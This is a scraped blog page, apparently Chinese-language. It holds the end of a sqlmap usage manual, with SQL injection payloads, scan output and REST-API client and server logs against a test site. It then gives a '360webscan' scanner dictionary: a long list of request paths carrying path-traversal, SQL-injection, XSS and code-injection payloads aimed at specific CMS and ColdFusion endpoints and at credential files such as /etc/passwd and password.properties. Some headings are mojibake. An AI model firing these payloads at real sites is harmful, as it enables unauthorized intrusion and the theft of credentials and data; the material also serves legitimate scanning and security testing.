    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 2986=2986

    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58)+CHAR(118)+CHAR(114)+CHAR(100)+C
HAR(58)+(SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58
)+CHAR(111)+CHAR(109)+CHAR(113)+CHAR(58)))

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58)+CHAR(118)+CHAR(114)+CHAR(1
00)+CHAR(58)+CHAR(70)+CHAR(79)+CHAR(118)+CHAR(106)+CHAR(87)+CHAR(101)+CHAR(119)+
CHAR(115)+CHAR(114)+CHAR(77)+CHAR(58)+CHAR(111)+CHAR(109)+CHAR(113)+CHAR(58)-- 

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: id=1; WAITFOR DELAY '0:0:5'--

    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: id=1 WAITFOR DELAY '0:0:5'--

    Type: inline query
    Title: Microsoft SQL Server/Sybase inline queries
    Payload: id=(SELECT CHAR(58)+CHAR(118)+CHAR(114)+CHAR(100)+CHAR(58)+(SELECT 
(CASE WHEN (6382=6382) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(111)+CHAR
(109)+CHAR(113)+CHAR(58))
---
web server operating system: Windows XP
web application technology: ASP, Microsoft IIS 5.1
back-end DBMS operating system: Windows XP Service Pack 2
back-end DBMS: Microsoft SQL Server 2005
banner:
---
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) 
    Oct 14 2005 00:33:37 
    Copyright (c) 1988-2005 Microsoft Corporation
    Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2)
---
current user:    'sa'
current database:    'testdb'
current user is DBA:    True

[*] shutting down at xx:xx:52

API (REST-JSON)

sqlmap can be run through the REST-JSON API, API (abbr. for Application Program Interface) that uses JSON for REST (abbr. for REpresentational State Transfer) communication between server and client instance(s). In plainspeak, server runs the sqlmap scan(s), while clients are setting the sqlmap options/switches and pull the results back. Main program file for running the API is sqlmapapi.py, while the client can also be implemented inside the arbitrary user program.

$ python sqlmapapi.py -hh
Usage: sqlmapapi.py [options]

Options:
  -h, --help            show this help message and exit
  -s, --server          Act as a REST-JSON API server
  -c, --client          Act as a REST-JSON API client
  -H HOST, --host=HOST  Host of the REST-JSON API server (default "127.0.0.1")
  -p PORT, --port=PORT  Port of the the REST-JSON API server (default 8775)
  --adapter=ADAPTER     Server (bottle) adapter to use (default "wsgiref")

Server runs the sqlmapapi.py by using switch -s, client by using switch -c, while in both cases user can (optionally) set listening IP address with option -H (default "127.0.0.1") and listening port with option -p (default 8775). Each client’s “session” can have multiple “tasks” (i.e. sqlmap scan runs), where user can arbitrary choose which task should be currently active.

Inside the client’s command line interface available commands are:

  • help – showing list of available commands along with basic help information
  • new ARGS – starts a new scan task with provided arguments (e.g. new -u "http://testphp.vulnweb.com/artists.php?artist=1")
  • use TASKID – switches current context to different task (e.g. use c04d8c5c7582efb4)
  • data – retrieves and shows data for current task
  • log– retrieves and shows log for current task
  • status – retrieves and shows status for current task
  • stop – stops current task
  • kill – kills current task
  • list – displays all tasks (for current session)
  • flush – flushes (i.e. deletes) all tasks
  • exit – exits the client interface

Example server run:

$ python sqlmapapi.py -s -H "0.0.0.0"
[12:47:51] [INFO] Running REST-JSON API server at '0.0.0.0:8775'..
[12:47:51] [INFO] Admin ID: 89fd118997840a9bd7fc329ab535b881
[12:47:51] [DEBUG] IPC database: /tmp/sqlmapipc-SzBQnd
[12:47:51] [DEBUG] REST-JSON API server connected to IPC database
[12:47:51] [DEBUG] Using adapter 'wsgiref' to run bottle
[12:48:10] [DEBUG] Created new task: 'a42ddaef02e976f0'
[12:48:10] [DEBUG] [a42ddaef02e976f0] Started scan
[12:48:16] [DEBUG] [a42ddaef02e976f0] Retrieved scan status
[12:48:50] [DEBUG] [a42ddaef02e976f0] Retrieved scan status
[12:48:55] [DEBUG] [a42ddaef02e976f0] Retrieved scan log messages
[12:48:59] [DEBUG] [a42ddaef02e976f0] Retrieved scan data and error messages

Example client run:

$ python sqlmapapi.py -c -H "192.168.110.1"
[12:47:53] [DEBUG] Example client access from command line:
    $ taskid=$(curl http://192.168.110.1:8775/task/new 2&gt;1 | grep -o -I '[a-f0-9
]\{16\}') &amp;&amp; echo $taskid
    $ curl -H "Content-Type: application/json" -X POST -d '{"url": "http://testp
hp.vulnweb.com/artists.php?artist=1"}' http://192.168.110.1:8775/scan/$taskid/st
art
    $ curl http://192.168.110.1:8775/scan/$taskid/data
    $ curl http://192.168.110.1:8775/scan/$taskid/log
[12:47:53] [INFO] Starting REST-JSON API client to 'http://192.168.110.1:8775'..
.
[12:47:53] [DEBUG] Calling http://192.168.110.1:8775
[12:47:53] [INFO] Type 'help' or '?' for list of available commands
api&gt; ?
help        Show this help message
new ARGS    Start a new scan task with provided arguments (e.g. 'new -u "http://
testphp.vulnweb.com/artists.php?artist=1"')
use TASKID  Switch current context to different task (e.g. 'use c04d8c5c7582efb4
')
data        Retrieve and show data for current task
log         Retrieve and show log for current task
status      Retrieve and show status for current task
stop        Stop current task
kill        Kill current task
list        Display all tasks
flush       Flush tasks (delete all tasks)
exit        Exit this client
api&gt; new -u "http://testphp.vulnweb.com/artists.php?artist=1" --banner --flush-s
ession
[12:48:10] [DEBUG] Calling http://192.168.110.1:8775/task/new
[12:48:10] [INFO] New task ID is 'a42ddaef02e976f0'
[12:48:10] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/start
[12:48:10] [INFO] Scanning started
api (a42ddaef02e976f0)&gt; status
[12:48:16] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/statu
s
{
    "status": "running", 
    "returncode": null, 
    "success": true
}
api (a42ddaef02e976f0)&gt; status
[12:48:50] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/statu
s
{
    "status": "terminated", 
    "returncode": 0, 
    "success": true
}
api (a42ddaef02e976f0)&gt; log
[12:48:55] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/log
{
    "log": [
        {
            "message": "flushing session file", 
            "level": "INFO", 
            "time": "12:48:10"
        }, 
        {
            "message": "testing connection to the target URL", 
            "level": "INFO", 
            "time": "12:48:10"
        }, 
        {
            "message": "checking if the target is protected by some kind of WAF/
IPS/IDS", 
            "level": "INFO", 
            "time": "12:48:10"
        }, 
        {
            "message": "testing if the target URL is stable", 
            "level": "INFO", 
            "time": "12:48:10"
        }, 
        {
            "message": "target URL is stable", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "testing if GET parameter 'artist' is dynamic", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "confirming that GET parameter 'artist' is dynamic", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "GET parameter 'artist' is dynamic", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "heuristic (basic) test shows that GET parameter 'artist'
 might be injectable (possible DBMS: 'MySQL')", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "testing for SQL injection on GET parameter 'artist'", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "testing 'AND boolean-based blind - WHERE or HAVING claus
e'", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "GET parameter 'artist' appears to be 'AND boolean-based 
blind - WHERE or HAVING clause' injectable (with --string=\"hac\")", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL &gt;= 5.5 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (BIGINT UNSIGNED)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL &gt;= 5.5 OR error-based - WHERE, HAVING cla
use (BIGINT UNSIGNED)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL &gt;= 5.5 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (EXP)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL &gt;= 5.5 OR error-based - WHERE, HAVING cla
use (EXP)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL &gt;= 5.7.8 AND error-based - WHERE, HAVING,
 ORDER BY or GROUP BY clause (JSON_KEYS)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL &gt;= 5.7.8 OR error-based - WHERE, HAVING c
lause (JSON_KEYS)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL &gt;= 5.0 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (FLOOR)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL &gt;= 5.0 OR error-based - WHERE, HAVING, OR
DER BY or GROUP BY clause (FLOOR)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL &gt;= 5.1 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (EXTRACTVALUE)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL &gt;= 5.1 OR error-based - WHERE, HAVING, OR
DER BY or GROUP BY clause (EXTRACTVALUE)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL &gt;= 5.1 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (UPDATEXML)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL &gt;= 5.1 OR error-based - WHERE, HAVING, OR
DER BY or GROUP BY clause (UPDATEXML)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL &gt;= 4.1 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (FLOOR)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL &gt;= 4.1 OR error-based - WHERE, HAVING cla
use (FLOOR)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL OR error-based - WHERE or HAVING clause (
FLOOR)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL &gt;= 5.1 error-based - PROCEDURE ANALYSE (E
XTRACTVALUE)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL &gt;= 5.5 error-based - Parameter replace (B
IGINT UNSIGNED)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL &gt;= 5.5 error-based - Parameter replace (E
XP)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL &gt;= 5.7.8 error-based - Parameter replace 
(JSON_KEYS)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL &gt;= 5.0 error-based - Parameter replace (F
LOOR)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL &gt;= 5.1 error-based - Parameter replace (U
PDATEXML)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL &gt;= 5.1 error-based - Parameter replace (E
XTRACTVALUE)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL inline queries'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL &gt; 5.0.11 stacked queries (comment)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL &gt; 5.0.11 stacked queries'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL &gt; 5.0.11 stacked queries (query SLEEP - c
omment)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL &gt; 5.0.11 stacked queries (query SLEEP)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL &lt; 5.0.12 stacked queries (heavy query - c
omment)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL &lt; 5.0.12 stacked queries (heavy query)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL &gt;= 5.0.12 AND time-based blind'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "GET parameter 'artist' appears to be 'MySQL &gt;= 5.0.12 AN
D time-based blind' injectable ", 
            "level": "INFO", 
            "time": "12:48:23"
        }, 
        {
            "message": "testing 'Generic UNION query (NULL) - 1 to 20 columns'", 
            "level": "INFO", 
            "time": "12:48:23"
        }, 
        {
            "message": "automatically extending ranges for UNION query injection
 technique tests as there is at least one other (potential) technique found", 
            "level": "INFO", 
            "time": "12:48:23"
        }, 
        {
            "message": "'ORDER BY' technique appears to be usable. This should r
educe the time needed to find the right number of query columns. Automatically e
xtending the range for current UNION query injection technique test", 
            "level": "INFO", 
            "time": "12:48:23"
        }, 
        {
            "message": "target URL appears to have 3 columns in query", 
            "level": "INFO", 
            "time": "12:48:23"
        }, 
        {
            "message": "GET parameter 'artist' is 'Generic UNION query (NULL) - 
1 to 20 columns' injectable", 
            "level": "INFO", 
            "time": "12:48:24"
        }, 
        {
            "message": "the back-end DBMS is MySQL", 
            "level": "INFO", 
            "time": "12:48:24"
        }, 
        {
            "message": "fetching banner", 
            "level": "INFO", 
            "time": "12:48:24"
        }
    ], 
    "success": true
}
api (a42ddaef02e976f0)&gt; data
[12:48:59] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/data
{
    "data": [
        {
            "status": 1, 
            "type": 0, 
            "value": [
                {
                    "dbms": "MySQL", 
                    "suffix": "", 
                    "clause": [
                        1, 
                        9
                    ], 
                    "notes": [], 
                    "ptype": 1, 
                    "dbms_version": [
                        "&gt;= 5.0.12"
                    ], 
                    "prefix": "", 
                    "place": "GET", 
                    "os": null, 
                    "conf": {
                        "code": null, 
                        "string": "hac", 
                        "notString": null, 
                        "titles": false, 
                        "regexp": null, 
                        "textOnly": false, 
                        "optimize": false
                    }, 
                    "parameter": "artist", 
                    "data": {
                        "1": {
                            "comment": "", 
                            "matchRatio": 0.85, 
                            "trueCode": 200, 
                            "title": "AND boolean-based blind - WHERE or HAVING 
clause", 
                            "templatePayload": null, 
                            "vector": "AND [INFERENCE]", 
                            "falseCode": 200, 
                            "where": 1, 
                            "payload": "artist=1 AND 2794=2794"
                        }, 
                        "5": {
                            "comment": "", 
                            "matchRatio": 0.85, 
                            "trueCode": 200, 
                            "title": "MySQL &gt;= 5.0.12 AND time-based blind", 
                            "templatePayload": null, 
                            "vector": "AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLE
EPTIME]),[RANDNUM])", 
                            "falseCode": null, 
                            "where": 1, 
                            "payload": "artist=1 AND SLEEP([SLEEPTIME])"
                        }, 
                        "6": {
                            "comment": "[GENERIC_SQL_COMMENT]", 
                            "matchRatio": 0.85, 
                            "trueCode": null, 
                            "title": "Generic UNION query (NULL) - 1 to 20 colum
ns", 
                            "templatePayload": null, 
                            "vector": [
                                2, 
                                3, 
                                "[GENERIC_SQL_COMMENT]", 
                                "", 
                                "", 
                                "NULL", 
                                2, 
                                false, 
                                false
                            ], 
                            "falseCode": null, 
                            "where": 2, 
                            "payload": "artist=-5376 UNION ALL SELECT NULL,NULL,
CONCAT(0x716b706a71,0x4a754d495377744d4273616c436b4b6a504164666a5572477241596649
704c68614672644a477474,0x7162717171)-- aAjy"
                        }
                    }
                }
            ]
        }, 
        {
            "status": 1, 
            "type": 2, 
            "value": "5.1.73-0ubuntu0.10.04.1"
        }
    ], 
    "success": true, 
    "error": []
}
api (a42ddaef02e976f0)&gt; exit
$

from

The post sqlmap䜿甚手册 sqlmap usage 18幎8月22日曎新 appeared first on 🔰雚苁ℒ🔰.

↧

360webscanå­—å…ž 眑站检测 目圕挏掞扫描

September 24, 2018, 8:54 am
$
0
0

360webscanå­—å…ž

360webscan字兞 委内瑞拉数据泄露

/$
/%20..%5Cweb-inf
/%22%3E%3CsCrIpT%3Eprompt(42873)
/%252e%252e%5C%252e%252e%5C%252e%252e%5C%252e%252e%5C%252e%252e%5C%252e%252e%5C%252e%252e%5C%252e%252e%5C%252e%252e%5C%252e%252e%5C%252e%252e%5C%252e%252e%5C%252e%252e%5Cwindows%5Cwin.ini
/%25uff0e%25uff0e/%25uff0e%25uff0e/%25uff0e%25uff0e/%25uff0e%25uff0e/%25uff0e%25uff0e/%25uff0e%25uff0e/%25uff0e%25uff0e/%25uff0e%25uff0e/%25uff0e%25uff0e/%25uff0e%25uff0e/%25uff0e%25uff0e/%25uff0e%25uff0e/windows/win.ini
/%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2eetc/passwd
/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cetc/passwd
/%3Cscript%20s%3Ealert(42873)
/%3Cscript%3Ealert(42873).do
/%3f.jsp
/%5C
/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af/etc/passwd
/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini
/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini
/'IHLD
/'[.](,.)(%22HLJX
/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/boot.ini
/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./etc/passwd
/.%5c%5c./.%5c%5c./.%5c%5c./.%5c%5c./.%5c%5c./.%5c%5c./etc/passwd
/.%5c%5c./.%5c%5c./.%5c%5c./.%5c%5c./.%5c%5c./.%5c%5c./windows/win.ini
/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%2500-52-25-1.html
/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fwindows/win.ini
/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fwinnt/win.ini
/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
/..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c../windows/win.ini
/..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255cetc/passwd
/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../windows/win.ini
/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd
/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini
/..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c../windows/win.ini
/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c../windows/win.ini
/.../.../.../.../.../.../.../.../etc/passwd
/.../.../.../.../.../.../.../.../windows/win.ini
/..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5cetc/passwd
/..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5cwindows/win.ini
/.bash_history
/.bashrc
/.git/config
/.idea/
/.rediscli_history
/.svn/entries
/.svn/wc.db
//admin/include/common.inc.php?met_admin_type_ok=1&langset=web&met_langadmin[web][]=12345&str=print%28md5%281122%29%29%3B%3F%3E%2f%2f
//siteserver/cms/background_channelsGroup.aspx?publishmentSystemID=1615&nodeGroupName=1122'%20and%20char(106)%20=1%20--
//wap/board.php?filter=3%20union%20select%201,2,3,4,webscan,6,7,8,9,10,11,cfreer,13,14,15,16,17,18,19,20,21,22%20from%20boka_members%20where%20uid=1%20--%20a&classid=1a&digest=1
/3g/allcity.php?Rurl=pre-qb_city%20where%20(select%201%20from%20%20(select%20count(*),concat((select%20concat(0x3a,md5(1122),0x3a)%20from%20qb_members%20limit%200,1),floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a)%23.html
/?%22onmouseover='prompt(42873)'bad=%22%3E
/?/home/explore/category-1)%20AND%20(SELECT%204037%20FROM(SELECT%20COUNT(*),CONCAT(CHAR(58,100,114,108,58),(SELECT%20(CASE%20WHEN%20(4037=4037)%20THEN%201%20ELSE%200%20END)),CHAR(58,122,103,111,58),FLOOR(RAND(0)*2))x%20FROM%20information_schema.tables%20GROUP%20BY%20x)a)%20AND%20(9909=9909
/?/people/360webscan?notification_id-360webscan'
/?/people/ajax/user_actions/uid-1__actions-1)%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(sha1(0x3336307765627363616e),(SELECT%20(CASE%20WHEN%20(8274=8274)%20THEN%201%20ELSE%200%20END)),FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%20and%20(1=1
/?/s_tag/hehe%25%27%20union%20select%201,2,3,md5(1122),5,6,7%20from%20go_admin%23
/?__runfile0123456789=/etc/passwd
/?__runfile0123456789=c:%5Cwindows%5Cwin.ini
/?action=course&do=-1%20AND%20(SELECT%202358%20FROM(SELECT%20COUNT(*),CONCAT(0x7765627363616E3A,(SELECT%20(CASE%20WHEN%20(2358=2358)%20THEN%201%20ELSE%200%20END)),0x3A66696E643A,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%23&&todo=list
/?app=vote&controller=vote&action=total&contentid=1%20and%20cast(ascii(substring(version(),1,1))=53%20as%20signed)
/?app=widget&mod=feedlist&act=getdata&maxId=111&act=loadNew&templateCacheFile=C:%5CWindows%5Cwin.ini
/?callback=%3Cscript%3Eprompt(42873)%3C/script%3E
/?gallery-1--1--'%20%3E%3Ciframe%20src=javascript:window[%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22](42873)%20'--grid.html
/?m=User&a=login_800&from=tuan800&sign=xxoo&qname=%27%20AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23
/?m=info&rewrite=1'%20union%20select%201,concat(0x23,md5(1122),0x23)%20from%20my_admin%20where%20id=1%20--%20a
/?m=info.detail&id=1-webscan
/?m=offer&s=offer_list&id=1-webscan%23
/?m=product&s=list&key=12'%20and%201=(updatexml(1,concat(0x5e24,(select%20md5(1122)),0x5e24),1))%23
/?m=vote&id=&vid=1,3)%20and%20%20webscan1122%23
/?mod=account&code=Login_callback&cmd=a&from=../../../robots.txt%00
/?mod=account&code=Sendcheckmail&uname=-1%2527%20or%201=1%23
/?mod=wap&code=coupon_input&msgcode=ops-success&last[]==1%20union%20/*!select*/%201,1,1,1,1,1,1,1234567890,1%20from%20cenwor_system_members
/?overview
/?plugins&area=&class=u_sel&name=work_&q=areas&type=p,c&value=1/**/and/**/extractvalue(1,concat(0x5c,md5(1122)));--
/?plugins&q=area&name=type=p,c&area=1&area_id=updatexml(1,concat(md5(0x41144),user()),1)
/?plugins&q=prosite&site_id=updatexml(1,concat(md5(0x41144),user()),1)
/?product-75-1@%7C1122%22%3E%3Ciframe%20src=javascript:this[%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22](%2242873%22)%20-index.html
/?question/search/%27%75nion%20select%201,2,3,4,5,6,7,8,md5(1122),10,11,12,13,14,15,16,17,18,19,20%23
/?question/search/tag:0%27%75nion%20select%201,2,3,4,5,6,(%73elect%20concat(0x23,md5(1122),0x23)%20%66rom%20ask_user%20limit%200,1),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%23.html
/?question/tag/0%27%75nion%20select%201,2,3,4,5,6,(%73elect%20concat(0x23,md5(1122),0x23)%20%66rom%20ask_user%20limit%200,1),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%23.html
/?s=/abc/abc/abc/$%7B@print(md5(base64_decode(MzYwd2Vic2Nhbg)))%7D/
/?s=abc~abc~abc~$%7B@print(md5(base64_decode(MzYwd2Vic2Nhbg)))%7D
/?search=just_test_not_find_href
/?tag=test'%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(sha1('360webscan'),FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%20AND%20'1'='1
/?user&q=action/check_email&email=%27%20and%20%28select%201%20from%20%28select%20count%28%2a%29%2Cconcat%28md5%280x7765627363616e%29%2Cfloor%28rand%280%29%2a2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
/?user&q=login&&q=check_email&email=test@sec.org%27%20and%20(Select%201%20from%20(Select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
/?user&q=login&&q=check_username&username=only_test%27%20and%20(Select%201%20from%20(Select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
/?user-getpass-1'
/?user-space-1'
/?xss_test%3Ciframe%20src=javascript:this[%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22](%2242873%22)%3E
/API/GetPageHtml.aspx
/Aboutus.asp?Title=cfreer'%20and%201=2%20union%20select%2055221122%20from%20admin
/ActivityList.asp
/Admin/LianXi.aspx?LianXiType=PingMian'%20AND%201122=char(106)%20--
/Admin/SelYangNews.aspx?NewsType=PingMianZhongXinTuPian'%20AND%201212=char(106)%20--
/Admin/sqlPlatform/operateSql.aspx
/AdminP
/Adminiscentertrator/AdmIndex.asp
/App_Site/SiteSearch.aspx?Title=1'%20AND%20(SELECT%20CHAR(58)%2bCHAR(85))%3E1%20--
/App_Site/SiteTag.aspx?Tag=1'%20and%20char(106)=1%20--
/ApplyGuide.aspx?infoFlowId=00449'and((char(106)%2bchar(59))=1)--
/Article/?KeyWord=1'%20and%201=char(97)%20--
/Article/?Type=18%20/**/and/**/1=char(106)--
/Article/ArticleDetaileNews.aspx?type=2/**/and/**/1=char(106)--
/AuthReturn.aspx?APTokenResponse=a$8SOIYyiGVYBge5mdoY5nIeAueY7BixUtLdHqpy8o3RqM9hVnisaXAA==
/BM/Project/HistoryBindSegmentLeftList.aspx?CorpType=1122&CorpCode=1122'%20and%201=char(106)%20--
/BaseCourse/FloodDisastersQueryContent.aspx?areacode=1&DirTypeDetailId=1%20AND%20CHAR(106)%2bCHAR(109)%2bCHAR(106)%3E0--&Name=1
/BaseCourse/RushTeamCollect.aspx?adcd=1&key=1%25'%20AND%20CHAR(106)%2bCHAR(109)%2bCHAR(106)%3E0--
/Biogenic.asp?Tbynf=21'%20and%201=char(106)%20--
/Book/user_read.jsp?classId=1'%20and%20(select%201%20from%20%20(select%20count(*),concat(0x3E7765627363616E3A66696E643C,floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a)%20and%20'at'='at
/Brand.aspx?pageIndex=1&sortOrderBy=VistiCounts%20Desc)%20AS%20RowNumber%20FROM%20vw_Hishop_BrowseProductList%20p%20WHERE%20SaleStatus%20=%201)%20T%20WHERE%201=1%20and%201=char(106)%20--
/Broadcast/Broadcast.aspx?type='%20or%201=char(106)%20--
/Broadcast/BroadcastView.aspx?type=InfoTPXW&InfoId=1122'%20and/**/1=char(106)--
/Broadcast/BroadcastViewnew.aspx?type=InfoTPXW&InfoId=1'and%20(char(105)%2bchar(59))=1--
/Broadcast/ShowFormList.aspx?formId=1'%20and%20(char(106)%2bchar(58))=1--
/Bulletin/Businessview.aspx?infoFlowId=0'%20and/**/1=char(106)%20--
/Bulletin/CaiLiaoList.aspx?infoFlowId=1'%20and%20(char(106)%2bchar(58))=1--
/Bulletin/ColumnList.aspx?LanMuId=1'%20and/**/1=char(106)%20--
/Bulletin/DocmentDownload.aspx?ID=1122'%20and/**/1=char(106)--
/Bulletin/InfoBulletin.aspx?infoId=1'%20and%20(char(106)%2bchar(58))=1--
/Business/OfflineDownload.aspx?filetype=html&formid=1'%20and%20(char(106)%2bchar(58))=1--
/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en
/CFIDE/administrator/logging/settings.cfm?locale=../../../../custommenu.xml%00en
/CVS/
/CVS/Root
